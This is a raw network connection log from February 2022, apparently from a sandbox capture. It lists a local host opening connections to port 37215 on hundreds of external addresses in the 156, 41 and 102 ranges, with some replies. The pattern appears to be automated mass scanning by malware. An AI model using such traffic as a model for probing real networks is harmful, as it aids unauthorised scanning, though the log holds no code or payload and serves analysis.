Feb 20, 2022 16:02:44.639832973 CET	27477	37215	192.168.2.23	156.38.19.108
Feb 20, 2022 16:02:44.639836073 CET	27477	37215	192.168.2.23	156.238.33.68
Feb 20, 2022 16:02:44.639859915 CET	27477	37215	192.168.2.23	156.195.215.218
Feb 20, 2022 16:02:44.639899015 CET	27477	37215	192.168.2.23	156.2.58.37
Feb 20, 2022 16:02:44.639910936 CET	27477	37215	192.168.2.23	156.145.227.121
Feb 20, 2022 16:02:44.639928102 CET	27477	37215	192.168.2.23	156.193.118.211
Feb 20, 2022 16:02:44.639940977 CET	27477	37215	192.168.2.23	156.96.218.202
Feb 20, 2022 16:02:44.639966011 CET	27477	37215	192.168.2.23	156.117.175.243
Feb 20, 2022 16:02:44.639998913 CET	27477	37215	192.168.2.23	156.175.8.248
Feb 20, 2022 16:02:44.640016079 CET	27477	37215	192.168.2.23	156.239.67.96
Feb 20, 2022 16:02:44.640034914 CET	27477	37215	192.168.2.23	156.113.54.114
Feb 20, 2022 16:02:44.640059948 CET	27477	37215	192.168.2.23	156.148.113.142
Feb 20, 2022 16:02:44.640084982 CET	27477	37215	192.168.2.23	156.35.29.81
Feb 20, 2022 16:02:44.640100956 CET	27477	37215	192.168.2.23	156.183.22.7
Feb 20, 2022 16:02:44.640126944 CET	27477	37215	192.168.2.23	156.59.253.5
Feb 20, 2022 16:02:44.640153885 CET	27477	37215	192.168.2.23	156.249.31.133
Feb 20, 2022 16:02:44.640176058 CET	27477	37215	192.168.2.23	156.165.255.199
Feb 20, 2022 16:02:44.640206099 CET	27477	37215	192.168.2.23	156.227.203.151
Feb 20, 2022 16:02:44.640235901 CET	27477	37215	192.168.2.23	156.20.252.55
Feb 20, 2022 16:02:44.640260935 CET	27477	37215	192.168.2.23	156.142.152.9
Feb 20, 2022 16:02:44.640288115 CET	27477	37215	192.168.2.23	156.171.60.83
Feb 20, 2022 16:02:44.640307903 CET	27477	37215	192.168.2.23	156.72.176.87
Feb 20, 2022 16:02:44.640331984 CET	27477	37215	192.168.2.23	156.96.114.242
Feb 20, 2022 16:02:44.640347958 CET	27477	37215	192.168.2.23	156.70.95.42
Feb 20, 2022 16:02:44.640369892 CET	27477	37215	192.168.2.23	156.169.84.57
Feb 20, 2022 16:02:44.640397072 CET	27477	37215	192.168.2.23	156.6.180.236
Feb 20, 2022 16:02:44.640419006 CET	27477	37215	192.168.2.23	156.165.213.59
Feb 20, 2022 16:02:44.640435934 CET	27477	37215	192.168.2.23	156.127.245.27
Feb 20, 2022 16:02:44.640456915 CET	27477	37215	192.168.2.23	156.72.166.135
Feb 20, 2022 16:02:44.640482903 CET	27477	37215	192.168.2.23	156.117.225.170
Feb 20, 2022 16:02:44.640513897 CET	27477	37215	192.168.2.23	156.68.18.93
Feb 20, 2022 16:02:44.640531063 CET	27477	37215	192.168.2.23	156.161.125.25
Feb 20, 2022 16:02:44.640544891 CET	27477	37215	192.168.2.23	156.200.156.62
Feb 20, 2022 16:02:44.640569925 CET	27477	37215	192.168.2.23	156.104.143.220
Feb 20, 2022 16:02:44.640589952 CET	27477	37215	192.168.2.23	156.249.149.224
Feb 20, 2022 16:02:44.641045094 CET	35448	37215	192.168.2.23	41.62.109.122
Feb 20, 2022 16:02:44.679631948 CET	37215	27221	156.67.122.13	192.168.2.23
Feb 20, 2022 16:02:44.710968971 CET	37215	27221	156.250.48.105	192.168.2.23
Feb 20, 2022 16:02:44.714910030 CET	37215	27221	156.252.42.41	192.168.2.23
Feb 20, 2022 16:02:44.718811989 CET	37215	27221	156.236.205.149	192.168.2.23
Feb 20, 2022 16:02:44.722843885 CET	37215	27477	156.225.87.102	192.168.2.23
Feb 20, 2022 16:02:44.725001097 CET	37215	27221	156.233.34.168	192.168.2.23
Feb 20, 2022 16:02:44.730772972 CET	37215	27221	156.96.51.169	192.168.2.23
Feb 20, 2022 16:02:44.734915972 CET	37215	27477	156.231.108.210	192.168.2.23
Feb 20, 2022 16:02:44.749376059 CET	37215	27477	156.237.34.96	192.168.2.23
Feb 20, 2022 16:02:44.752505064 CET	37215	27477	156.239.2.192	192.168.2.23
Feb 20, 2022 16:02:44.771486998 CET	37215	27221	156.244.224.151	192.168.2.23
Feb 20, 2022 16:02:44.777286053 CET	37215	27221	156.244.251.142	192.168.2.23
Feb 20, 2022 16:02:44.783807039 CET	37215	27221	156.233.178.196	192.168.2.23
Feb 20, 2022 16:02:44.789773941 CET	37215	27221	156.235.194.105	192.168.2.23
Feb 20, 2022 16:02:44.790685892 CET	37215	27477	156.246.130.241	192.168.2.23
Feb 20, 2022 16:02:44.790810108 CET	37215	27477	156.235.106.101	192.168.2.23
Feb 20, 2022 16:02:44.790957928 CET	27477	37215	192.168.2.23	156.235.106.101
Feb 20, 2022 16:02:44.801033974 CET	37215	27477	156.252.184.119	192.168.2.23
Feb 20, 2022 16:02:44.802164078 CET	37215	27477	156.230.232.6	192.168.2.23
Feb 20, 2022 16:02:44.805763960 CET	37215	27477	156.244.199.18	192.168.2.23
Feb 20, 2022 16:02:44.806217909 CET	37215	27221	156.248.155.15	192.168.2.23
Feb 20, 2022 16:02:44.806467056 CET	37215	27477	156.246.229.252	192.168.2.23
Feb 20, 2022 16:02:44.807141066 CET	37215	27221	156.237.196.9	192.168.2.23
Feb 20, 2022 16:02:44.808527946 CET	37215	27477	156.238.33.68	192.168.2.23
Feb 20, 2022 16:02:44.808636904 CET	27477	37215	192.168.2.23	156.238.33.68
Feb 20, 2022 16:02:44.809348106 CET	37215	27221	156.255.175.126	192.168.2.23
Feb 20, 2022 16:02:44.809493065 CET	37215	27477	156.248.220.53	192.168.2.23
Feb 20, 2022 16:02:44.810239077 CET	37215	27477	156.249.31.133	192.168.2.23
Feb 20, 2022 16:02:44.814290047 CET	37215	27221	156.254.219.248	192.168.2.23
Feb 20, 2022 16:02:44.819092989 CET	37215	27221	156.255.227.175	192.168.2.23
Feb 20, 2022 16:02:44.821002960 CET	37215	27221	156.230.253.4	192.168.2.23
Feb 20, 2022 16:02:44.821412086 CET	37215	27221	156.230.142.92	192.168.2.23
Feb 20, 2022 16:02:44.821989059 CET	37215	35448	41.62.109.122	192.168.2.23
Feb 20, 2022 16:02:44.822491884 CET	35448	37215	192.168.2.23	41.62.109.122
Feb 20, 2022 16:02:44.823479891 CET	37215	27221	156.255.55.28	192.168.2.23
Feb 20, 2022 16:02:44.824434996 CET	37215	27477	156.255.253.187	192.168.2.23
Feb 20, 2022 16:02:44.827205896 CET	35448	37215	192.168.2.23	41.62.109.122
Feb 20, 2022 16:02:44.827549934 CET	35448	37215	192.168.2.23	41.62.109.122
Feb 20, 2022 16:02:44.827825069 CET	35450	37215	192.168.2.23	41.62.109.122
Feb 20, 2022 16:02:44.886837959 CET	37215	27477	156.241.14.14	192.168.2.23
Feb 20, 2022 16:02:44.887006044 CET	27477	37215	192.168.2.23	156.241.14.14
Feb 20, 2022 16:02:44.893996000 CET	37215	27477	156.241.10.90	192.168.2.23
Feb 20, 2022 16:02:44.894227028 CET	27477	37215	192.168.2.23	156.241.10.90
Feb 20, 2022 16:02:44.894399881 CET	37215	27221	156.230.21.238	192.168.2.23
Feb 20, 2022 16:02:44.894690990 CET	27221	37215	192.168.2.23	156.230.21.238
Feb 20, 2022 16:02:44.895068884 CET	37215	27221	156.241.73.2	192.168.2.23
Feb 20, 2022 16:02:44.895136118 CET	27221	37215	192.168.2.23	156.241.73.2
Feb 20, 2022 16:02:44.897659063 CET	37215	27221	156.251.57.39	192.168.2.23
Feb 20, 2022 16:02:44.898438931 CET	37215	27477	156.59.85.21	192.168.2.23
Feb 20, 2022 16:02:44.899058104 CET	37215	27221	156.244.123.208	192.168.2.23
Feb 20, 2022 16:02:44.899130106 CET	27221	37215	192.168.2.23	156.244.123.208
Feb 20, 2022 16:02:44.900655031 CET	37215	27221	156.244.93.160	192.168.2.23
Feb 20, 2022 16:02:44.900707006 CET	27221	37215	192.168.2.23	156.244.93.160
Feb 20, 2022 16:02:44.905148029 CET	37215	27221	156.225.133.158	192.168.2.23
Feb 20, 2022 16:02:44.905241966 CET	27221	37215	192.168.2.23	156.225.133.158
Feb 20, 2022 16:02:44.908552885 CET	37215	27221	156.250.121.166	192.168.2.23
Feb 20, 2022 16:02:44.908641100 CET	27221	37215	192.168.2.23	156.250.121.166
Feb 20, 2022 16:02:44.908663034 CET	37215	27477	156.238.53.181	192.168.2.23
Feb 20, 2022 16:02:44.908776045 CET	37215	27477	156.250.9.12	192.168.2.23
Feb 20, 2022 16:02:44.908792973 CET	27477	37215	192.168.2.23	156.238.53.181
Feb 20, 2022 16:02:44.908843040 CET	27477	37215	192.168.2.23	156.250.9.12
Feb 20, 2022 16:02:44.911211967 CET	37215	27221	156.239.155.64	192.168.2.23
Feb 20, 2022 16:02:44.911355972 CET	27221	37215	192.168.2.23	156.239.155.64
Feb 20, 2022 16:02:44.913944960 CET	37215	27221	156.241.96.37	192.168.2.23
Feb 20, 2022 16:02:44.914128065 CET	27221	37215	192.168.2.23	156.241.96.37
Feb 20, 2022 16:02:44.916893005 CET	37215	27477	156.238.18.74	192.168.2.23
Feb 20, 2022 16:02:44.916960001 CET	27477	37215	192.168.2.23	156.238.18.74
Feb 20, 2022 16:02:44.923037052 CET	37215	35450	41.62.109.122	192.168.2.23
Feb 20, 2022 16:02:44.923132896 CET	35450	37215	192.168.2.23	41.62.109.122
Feb 20, 2022 16:02:44.923386097 CET	35450	37215	192.168.2.23	41.62.109.122
Feb 20, 2022 16:02:44.924230099 CET	37215	27477	156.244.114.4	192.168.2.23
Feb 20, 2022 16:02:44.924326897 CET	27477	37215	192.168.2.23	156.244.114.4
Feb 20, 2022 16:02:44.925869942 CET	37215	27221	156.226.50.203	192.168.2.23
Feb 20, 2022 16:02:44.925945997 CET	27221	37215	192.168.2.23	156.226.50.203
Feb 20, 2022 16:02:44.926053047 CET	37215	27477	156.250.23.26	192.168.2.23
Feb 20, 2022 16:02:44.926178932 CET	27477	37215	192.168.2.23	156.250.23.26
Feb 20, 2022 16:02:44.928261995 CET	37215	35448	41.62.109.122	192.168.2.23
Feb 20, 2022 16:02:44.959882021 CET	37215	35448	41.62.109.122	192.168.2.23
Feb 20, 2022 16:02:44.960002899 CET	35448	37215	192.168.2.23	41.62.109.122
Feb 20, 2022 16:02:44.965013981 CET	37215	35448	41.62.109.122	192.168.2.23
Feb 20, 2022 16:02:44.965193987 CET	35448	37215	192.168.2.23	41.62.109.122
Feb 20, 2022 16:02:45.019846916 CET	37215	27477	156.250.145.33	192.168.2.23
Feb 20, 2022 16:02:45.023643970 CET	37215	27477	156.250.205.142	192.168.2.23
Feb 20, 2022 16:02:45.025228024 CET	37215	27221	156.250.152.166	192.168.2.23
Feb 20, 2022 16:02:45.036545038 CET	37215	35450	41.62.109.122	192.168.2.23
Feb 20, 2022 16:02:45.036659002 CET	35450	37215	192.168.2.23	41.62.109.122
Feb 20, 2022 16:02:45.040468931 CET	37215	27221	156.235.120.28	192.168.2.23
Feb 20, 2022 16:02:45.075078964 CET	37215	27221	156.234.102.184	192.168.2.23
Feb 20, 2022 16:02:45.084729910 CET	37215	27221	156.226.139.189	192.168.2.23
Feb 20, 2022 16:02:45.095025063 CET	37215	27477	156.234.214.89	192.168.2.23
Feb 20, 2022 16:02:45.111727953 CET	37215	27221	156.225.26.99	192.168.2.23
Feb 20, 2022 16:02:45.640394926 CET	27221	37215	192.168.2.23	102.95.79.60
Feb 20, 2022 16:02:45.640434027 CET	27221	37215	192.168.2.23	102.220.195.54
Feb 20, 2022 16:02:45.640449047 CET	27221	37215	192.168.2.23	102.4.17.39
Feb 20, 2022 16:02:45.640472889 CET	27221	37215	192.168.2.23	102.191.51.182
Feb 20, 2022 16:02:45.640474081 CET	27221	37215	192.168.2.23	102.134.168.100
Feb 20, 2022 16:02:45.640541077 CET	27221	37215	192.168.2.23	102.245.180.52
Feb 20, 2022 16:02:45.640569925 CET	27221	37215	192.168.2.23	102.41.23.120
Feb 20, 2022 16:02:45.640589952 CET	27221	37215	192.168.2.23	102.190.37.85
Feb 20, 2022 16:02:45.640620947 CET	27221	37215	192.168.2.23	102.14.17.152
Feb 20, 2022 16:02:45.640657902 CET	27221	37215	192.168.2.23	102.204.59.83
Feb 20, 2022 16:02:45.640698910 CET	27221	37215	192.168.2.23	102.17.127.115
Feb 20, 2022 16:02:45.640733957 CET	27221	37215	192.168.2.23	102.237.183.90
Feb 20, 2022 16:02:45.640775919 CET	27221	37215	192.168.2.23	102.180.6.235
Feb 20, 2022 16:02:45.640815020 CET	27221	37215	192.168.2.23	102.183.64.248
Feb 20, 2022 16:02:45.640893936 CET	27221	37215	192.168.2.23	102.151.128.148
Feb 20, 2022 16:02:45.640928030 CET	27221	37215	192.168.2.23	102.36.4.155
Feb 20, 2022 16:02:45.640953064 CET	27221	37215	192.168.2.23	102.200.253.156
Feb 20, 2022 16:02:45.640991926 CET	27221	37215	192.168.2.23	102.44.116.71
Feb 20, 2022 16:02:45.641009092 CET	27221	37215	192.168.2.23	102.154.121.174
Feb 20, 2022 16:02:45.641038895 CET	27221	37215	192.168.2.23	102.40.81.246
Feb 20, 2022 16:02:45.641077042 CET	27221	37215	192.168.2.23	102.7.229.254
Feb 20, 2022 16:02:45.641153097 CET	27221	37215	192.168.2.23	102.196.65.167
Feb 20, 2022 16:02:45.641184092 CET	27221	37215	192.168.2.23	102.203.49.157
Feb 20, 2022 16:02:45.641186953 CET	27221	37215	192.168.2.23	102.153.74.143
Feb 20, 2022 16:02:45.641228914 CET	27221	37215	192.168.2.23	102.159.232.11
Feb 20, 2022 16:02:45.641266108 CET	27221	37215	192.168.2.23	102.188.30.196
Feb 20, 2022 16:02:45.641304970 CET	27221	37215	192.168.2.23	102.107.246.30
Feb 20, 2022 16:02:45.641341925 CET	27221	37215	192.168.2.23	102.90.127.50
Feb 20, 2022 16:02:45.641377926 CET	27221	37215	192.168.2.23	102.192.190.191
Feb 20, 2022 16:02:45.641452074 CET	27221	37215	192.168.2.23	102.18.236.253
Feb 20, 2022 16:02:45.641455889 CET	27221	37215	192.168.2.23	102.45.165.115
Feb 20, 2022 16:02:45.641530037 CET	27221	37215	192.168.2.23	102.90.234.173
Feb 20, 2022 16:02:45.641571045 CET	27221	37215	192.168.2.23	102.98.99.96
Feb 20, 2022 16:02:45.641592979 CET	27221	37215	192.168.2.23	102.17.20.217
Feb 20, 2022 16:02:45.641655922 CET	27221	37215	192.168.2.23	102.231.29.10
Feb 20, 2022 16:02:45.641691923 CET	27221	37215	192.168.2.23	102.133.97.225
Feb 20, 2022 16:02:45.641695023 CET	27221	37215	192.168.2.23	102.126.40.215
Feb 20, 2022 16:02:45.641746998 CET	27221	37215	192.168.2.23	102.98.215.176
Feb 20, 2022 16:02:45.641822100 CET	27221	37215	192.168.2.23	102.122.141.188
Feb 20, 2022 16:02:45.641824007 CET	27221	37215	192.168.2.23	102.248.231.65
Feb 20, 2022 16:02:45.641859055 CET	27221	37215	192.168.2.23	102.183.170.113
Feb 20, 2022 16:02:45.641884089 CET	27221	37215	192.168.2.23	102.44.20.32
Feb 20, 2022 16:02:45.641971111 CET	27221	37215	192.168.2.23	102.104.141.48
Feb 20, 2022 16:02:45.641976118 CET	27221	37215	192.168.2.23	102.106.205.131
Feb 20, 2022 16:02:45.642013073 CET	27221	37215	192.168.2.23	102.57.96.178
Feb 20, 2022 16:02:45.642091036 CET	27221	37215	192.168.2.23	102.234.29.230
Feb 20, 2022 16:02:45.642100096 CET	27221	37215	192.168.2.23	102.254.142.131
Feb 20, 2022 16:02:45.642132998 CET	27221	37215	192.168.2.23	102.91.86.57
Feb 20, 2022 16:02:45.642199993 CET	27221	37215	192.168.2.23	102.245.254.96
Feb 20, 2022 16:02:45.642201900 CET	27221	37215	192.168.2.23	102.41.30.232
Feb 20, 2022 16:02:45.642276049 CET	27221	37215	192.168.2.23	102.159.73.82
Feb 20, 2022 16:02:45.642318964 CET	27221	37215	192.168.2.23	102.118.32.220
Feb 20, 2022 16:02:45.642333031 CET	27221	37215	192.168.2.23	102.249.6.209
Feb 20, 2022 16:02:45.642353058 CET	27221	37215	192.168.2.23	102.39.153.161
Feb 20, 2022 16:02:45.642431021 CET	27221	37215	192.168.2.23	102.213.72.101
Feb 20, 2022 16:02:45.642431021 CET	27221	37215	192.168.2.23	102.112.139.51
Feb 20, 2022 16:02:45.642541885 CET	27221	37215	192.168.2.23	102.195.45.202
Feb 20, 2022 16:02:45.642550945 CET	27221	37215	192.168.2.23	102.178.21.129
Feb 20, 2022 16:02:45.642584085 CET	27221	37215	192.168.2.23	102.232.105.157
Feb 20, 2022 16:02:45.642589092 CET	27221	37215	192.168.2.23	102.47.188.200
Feb 20, 2022 16:02:45.642658949 CET	27221	37215	192.168.2.23	102.178.198.213
Feb 20, 2022 16:02:45.642659903 CET	27221	37215	192.168.2.23	102.176.64.134
Feb 20, 2022 16:02:45.642767906 CET	27221	37215	192.168.2.23	102.213.201.41
Feb 20, 2022 16:02:45.642780066 CET	27221	37215	192.168.2.23	102.76.157.182
Feb 20, 2022 16:02:45.642813921 CET	27221	37215	192.168.2.23	102.201.204.64
Feb 20, 2022 16:02:45.642827034 CET	27221	37215	192.168.2.23	102.0.34.161
Feb 20, 2022 16:02:45.642887115 CET	27221	37215	192.168.2.23	102.53.217.61
Feb 20, 2022 16:02:45.642904043 CET	27221	37215	192.168.2.23	102.39.67.16
Feb 20, 2022 16:02:45.642920971 CET	27221	37215	192.168.2.23	102.161.156.117
Feb 20, 2022 16:02:45.642961025 CET	27221	37215	192.168.2.23	102.62.127.111
Feb 20, 2022 16:02:45.643006086 CET	27221	37215	192.168.2.23	102.121.75.222
Feb 20, 2022 16:02:45.643055916 CET	27221	37215	192.168.2.23	102.115.42.59
Feb 20, 2022 16:02:45.643115044 CET	27221	37215	192.168.2.23	102.251.188.159
Feb 20, 2022 16:02:45.643116951 CET	27221	37215	192.168.2.23	102.171.90.203
Feb 20, 2022 16:02:45.643160105 CET	27221	37215	192.168.2.23	102.213.103.88
Feb 20, 2022 16:02:45.643199921 CET	27221	37215	192.168.2.23	102.81.43.201
Feb 20, 2022 16:02:45.643244028 CET	27221	37215	192.168.2.23	102.155.52.120
Feb 20, 2022 16:02:45.643274069 CET	27221	37215	192.168.2.23	102.235.9.163
Feb 20, 2022 16:02:45.643337965 CET	27221	37215	192.168.2.23	102.151.134.167
Feb 20, 2022 16:02:45.643383980 CET	27221	37215	192.168.2.23	102.184.232.244
Feb 20, 2022 16:02:45.643429995 CET	27221	37215	192.168.2.23	102.79.0.162
Feb 20, 2022 16:02:45.643441916 CET	27221	37215	192.168.2.23	102.196.13.234
Feb 20, 2022 16:02:45.643495083 CET	27221	37215	192.168.2.23	102.160.252.97
Feb 20, 2022 16:02:45.643537045 CET	27221	37215	192.168.2.23	102.255.228.18
Feb 20, 2022 16:02:45.643542051 CET	27221	37215	192.168.2.23	102.10.53.8
Feb 20, 2022 16:02:45.643582106 CET	27221	37215	192.168.2.23	102.68.237.236
Feb 20, 2022 16:02:45.643660069 CET	27221	37215	192.168.2.23	102.91.169.105
Feb 20, 2022 16:02:45.643661022 CET	27221	37215	192.168.2.23	102.94.218.6
Feb 20, 2022 16:02:45.643701077 CET	27221	37215	192.168.2.23	102.136.202.91
Feb 20, 2022 16:02:45.643737078 CET	27221	37215	192.168.2.23	102.5.145.165
Feb 20, 2022 16:02:45.643784046 CET	27221	37215	192.168.2.23	102.49.91.41
Feb 20, 2022 16:02:45.643855095 CET	27221	37215	192.168.2.23	102.194.209.51
Feb 20, 2022 16:02:45.643858910 CET	27221	37215	192.168.2.23	102.223.1.58
Feb 20, 2022 16:02:45.643894911 CET	27221	37215	192.168.2.23	102.69.99.147
Feb 20, 2022 16:02:45.643934965 CET	27221	37215	192.168.2.23	102.202.52.67
Feb 20, 2022 16:02:45.644011974 CET	27221	37215	192.168.2.23	102.16.52.114
Feb 20, 2022 16:02:45.644011974 CET	27221	37215	192.168.2.23	102.129.165.13
Feb 20, 2022 16:02:45.644052982 CET	27221	37215	192.168.2.23	102.109.25.227
Feb 20, 2022 16:02:45.644093990 CET	27221	37215	192.168.2.23	102.103.209.58
Feb 20, 2022 16:02:45.644171953 CET	27221	37215	192.168.2.23	102.242.50.174
Feb 20, 2022 16:02:45.644195080 CET	27221	37215	192.168.2.23	102.203.187.93
Feb 20, 2022 16:02:45.644243956 CET	27221	37215	192.168.2.23	102.100.220.20
Feb 20, 2022 16:02:45.644260883 CET	27221	37215	192.168.2.23	102.177.221.84
Feb 20, 2022 16:02:45.644303083 CET	27221	37215	192.168.2.23	102.77.175.155
Feb 20, 2022 16:02:45.644332886 CET	27221	37215	192.168.2.23	102.193.125.66
Feb 20, 2022 16:02:45.644397020 CET	27221	37215	192.168.2.23	102.29.200.132
Feb 20, 2022 16:02:45.644435883 CET	27221	37215	192.168.2.23	102.129.218.208
Feb 20, 2022 16:02:45.644439936 CET	27221	37215	192.168.2.23	102.177.94.32
Feb 20, 2022 16:02:45.644505978 CET	27221	37215	192.168.2.23	102.70.200.190
Feb 20, 2022 16:02:45.644521952 CET	27221	37215	192.168.2.23	102.150.53.96
Feb 20, 2022 16:02:45.644546032 CET	27221	37215	192.168.2.23	102.246.238.183
Feb 20, 2022 16:02:45.644620895 CET	27221	37215	192.168.2.23	102.121.246.24
Feb 20, 2022 16:02:45.644622087 CET	27221	37215	192.168.2.23	102.165.82.204
Feb 20, 2022 16:02:45.644730091 CET	27221	37215	192.168.2.23	102.44.24.90
Feb 20, 2022 16:02:45.644741058 CET	27221	37215	192.168.2.23	102.140.247.88
Feb 20, 2022 16:02:45.644766092 CET	27221	37215	192.168.2.23	102.131.215.107
Feb 20, 2022 16:02:45.644803047 CET	27221	37215	192.168.2.23	102.127.228.18
Feb 20, 2022 16:02:45.644804001 CET	27221	37215	192.168.2.23	102.228.64.57
Feb 20, 2022 16:02:45.644855976 CET	27221	37215	192.168.2.23	102.84.234.111
Feb 20, 2022 16:02:45.644887924 CET	27221	37215	192.168.2.23	102.148.32.214
Feb 20, 2022 16:02:45.644920111 CET	27221	37215	192.168.2.23	102.160.194.0
Feb 20, 2022 16:02:45.644990921 CET	27221	37215	192.168.2.23	102.245.73.64
Feb 20, 2022 16:02:45.645030975 CET	27221	37215	192.168.2.23	102.149.82.151
Feb 20, 2022 16:02:45.645070076 CET	27221	37215	192.168.2.23	102.69.185.45
Feb 20, 2022 16:02:45.645075083 CET	27221	37215	192.168.2.23	102.65.116.210
Feb 20, 2022 16:02:45.645127058 CET	27221	37215	192.168.2.23	102.128.23.94
Feb 20, 2022 16:02:45.645143986 CET	27221	37215	192.168.2.23	102.141.189.105
Feb 20, 2022 16:02:45.645195007 CET	27221	37215	192.168.2.23	102.97.173.180
Feb 20, 2022 16:02:45.645262003 CET	27221	37215	192.168.2.23	102.223.119.184
Feb 20, 2022 16:02:45.645298958 CET	27221	37215	192.168.2.23	102.161.195.164
Feb 20, 2022 16:02:45.645323992 CET	27221	37215	192.168.2.23	102.3.230.226
Feb 20, 2022 16:02:45.645335913 CET	27221	37215	192.168.2.23	102.76.52.183
Feb 20, 2022 16:02:45.645380020 CET	27221	37215	192.168.2.23	102.253.51.3
Feb 20, 2022 16:02:45.645437956 CET	27221	37215	192.168.2.23	102.65.65.64
Feb 20, 2022 16:02:45.645481110 CET	27221	37215	192.168.2.23	102.232.246.125
Feb 20, 2022 16:02:45.645529985 CET	27221	37215	192.168.2.23	102.173.201.208
Feb 20, 2022 16:02:45.645544052 CET	27221	37215	192.168.2.23	102.84.253.114
Feb 20, 2022 16:02:45.645607948 CET	27221	37215	192.168.2.23	102.44.34.156
Feb 20, 2022 16:02:45.645610094 CET	27221	37215	192.168.2.23	102.15.91.189
Feb 20, 2022 16:02:45.645721912 CET	27221	37215	192.168.2.23	102.118.222.165
Feb 20, 2022 16:02:45.645726919 CET	27221	37215	192.168.2.23	102.167.100.103
Feb 20, 2022 16:02:45.645740986 CET	27221	37215	192.168.2.23	102.248.32.63
Feb 20, 2022 16:02:45.645759106 CET	27221	37215	192.168.2.23	102.1.174.212
Feb 20, 2022 16:02:45.645800114 CET	27221	37215	192.168.2.23	102.84.212.37
Feb 20, 2022 16:02:45.645869970 CET	27221	37215	192.168.2.23	102.117.52.135
Feb 20, 2022 16:02:45.645874023 CET	27221	37215	192.168.2.23	102.146.170.50
Feb 20, 2022 16:02:45.645909071 CET	27221	37215	192.168.2.23	102.57.2.184
Feb 20, 2022 16:02:45.645955086 CET	27221	37215	192.168.2.23	102.152.216.130
Feb 20, 2022 16:02:45.645983934 CET	27221	37215	192.168.2.23	102.44.84.89
Feb 20, 2022 16:02:45.646023035 CET	27221	37215	192.168.2.23	102.72.171.254
Feb 20, 2022 16:02:45.646061897 CET	27221	37215	192.168.2.23	102.87.215.65
Feb 20, 2022 16:02:45.646179914 CET	27221	37215	192.168.2.23	102.243.43.71
Feb 20, 2022 16:02:45.646202087 CET	27221	37215	192.168.2.23	102.251.112.183
Feb 20, 2022 16:02:45.646223068 CET	27221	37215	192.168.2.23	102.31.192.196
Feb 20, 2022 16:02:45.646249056 CET	27221	37215	192.168.2.23	102.16.135.243
Feb 20, 2022 16:02:45.646261930 CET	27221	37215	192.168.2.23	102.53.227.126
Feb 20, 2022 16:02:45.646305084 CET	27221	37215	192.168.2.23	102.225.81.35
Feb 20, 2022 16:02:45.646323919 CET	27221	37215	192.168.2.23	102.99.42.242
Feb 20, 2022 16:02:45.646383047 CET	27221	37215	192.168.2.23	102.26.172.247
Feb 20, 2022 16:02:45.646442890 CET	27221	37215	192.168.2.23	102.163.96.210
Feb 20, 2022 16:02:45.646444082 CET	27221	37215	192.168.2.23	102.38.200.206
Feb 20, 2022 16:02:45.646497965 CET	27221	37215	192.168.2.23	102.247.152.229
Feb 20, 2022 16:02:45.646567106 CET	27221	37215	192.168.2.23	102.222.150.23
Feb 20, 2022 16:02:45.646569014 CET	27221	37215	192.168.2.23	102.126.63.186
Feb 20, 2022 16:02:45.646620035 CET	27221	37215	192.168.2.23	102.104.16.140
Feb 20, 2022 16:02:45.646637917 CET	27221	37215	192.168.2.23	102.29.193.162
Feb 20, 2022 16:02:45.646687984 CET	27221	37215	192.168.2.23	102.186.49.58
Feb 20, 2022 16:02:45.646748066 CET	27221	37215	192.168.2.23	102.81.163.5
Feb 20, 2022 16:02:45.646759033 CET	27221	37215	192.168.2.23	102.228.60.241
Feb 20, 2022 16:02:45.646790028 CET	27221	37215	192.168.2.23	102.189.3.107
Feb 20, 2022 16:02:45.646855116 CET	27221	37215	192.168.2.23	102.133.139.114
Feb 20, 2022 16:02:45.646898985 CET	27221	37215	192.168.2.23	102.247.229.251
Feb 20, 2022 16:02:45.646938086 CET	27221	37215	192.168.2.23	102.112.52.42
Feb 20, 2022 16:02:45.646948099 CET	27221	37215	192.168.2.23	102.60.13.129
Feb 20, 2022 16:02:45.647017956 CET	27221	37215	192.168.2.23	102.234.229.111
Feb 20, 2022 16:02:45.647027016 CET	27221	37215	192.168.2.23	102.72.92.195
Feb 20, 2022 16:02:45.647054911 CET	27221	37215	192.168.2.23	102.174.81.57
Feb 20, 2022 16:02:45.647094011 CET	27221	37215	192.168.2.23	102.225.226.96
Feb 20, 2022 16:02:45.647138119 CET	27221	37215	192.168.2.23	102.36.123.151
Feb 20, 2022 16:02:45.647248030 CET	27221	37215	192.168.2.23	102.33.174.84
Feb 20, 2022 16:02:45.647263050 CET	27221	37215	192.168.2.23	102.199.61.120
Feb 20, 2022 16:02:45.647270918 CET	27221	37215	192.168.2.23	102.25.67.248
Feb 20, 2022 16:02:45.647291899 CET	27221	37215	192.168.2.23	102.145.124.48
Feb 20, 2022 16:02:45.647335052 CET	27221	37215	192.168.2.23	102.165.34.21
Feb 20, 2022 16:02:45.647361994 CET	27221	37215	192.168.2.23	102.164.201.34
Feb 20, 2022 16:02:45.647418976 CET	27221	37215	192.168.2.23	102.170.187.133
Feb 20, 2022 16:02:45.647476912 CET	27221	37215	192.168.2.23	102.174.49.33
Feb 20, 2022 16:02:45.647479057 CET	27221	37215	192.168.2.23	102.82.86.92
Feb 20, 2022 16:02:45.647552967 CET	27221	37215	192.168.2.23	102.218.52.125
Feb 20, 2022 16:02:45.647553921 CET	27221	37215	192.168.2.23	102.174.113.159
Feb 20, 2022 16:02:45.647613049 CET	27221	37215	192.168.2.23	102.185.130.59
Feb 20, 2022 16:02:45.647648096 CET	27221	37215	192.168.2.23	102.51.162.202
Feb 20, 2022 16:02:45.647686958 CET	27221	37215	192.168.2.23	102.70.105.255
Feb 20, 2022 16:02:45.647726059 CET	27221	37215	192.168.2.23	102.158.144.96
Feb 20, 2022 16:02:45.647767067 CET	27221	37215	192.168.2.23	102.133.241.100
Feb 20, 2022 16:02:45.647810936 CET	27221	37215	192.168.2.23	102.116.49.165
Feb 20, 2022 16:02:45.647876978 CET	27221	37215	192.168.2.23	102.54.81.134
Feb 20, 2022 16:02:45.647906065 CET	27221	37215	192.168.2.23	102.174.227.71
Feb 20, 2022 16:02:45.647955894 CET	27221	37215	192.168.2.23	102.103.228.55
Feb 20, 2022 16:02:45.647965908 CET	27221	37215	192.168.2.23	102.239.9.241
Feb 20, 2022 16:02:45.647999048 CET	27221	37215	192.168.2.23	102.79.56.14
Feb 20, 2022 16:02:45.648031950 CET	27221	37215	192.168.2.23	102.80.238.98
Feb 20, 2022 16:02:45.648139954 CET	27221	37215	192.168.2.23	102.10.80.226
Feb 20, 2022 16:02:45.648140907 CET	27221	37215	192.168.2.23	102.214.131.122
Feb 20, 2022 16:02:45.648212910 CET	27221	37215	192.168.2.23	102.218.50.34
Feb 20, 2022 16:02:45.648251057 CET	27221	37215	192.168.2.23	102.252.164.133
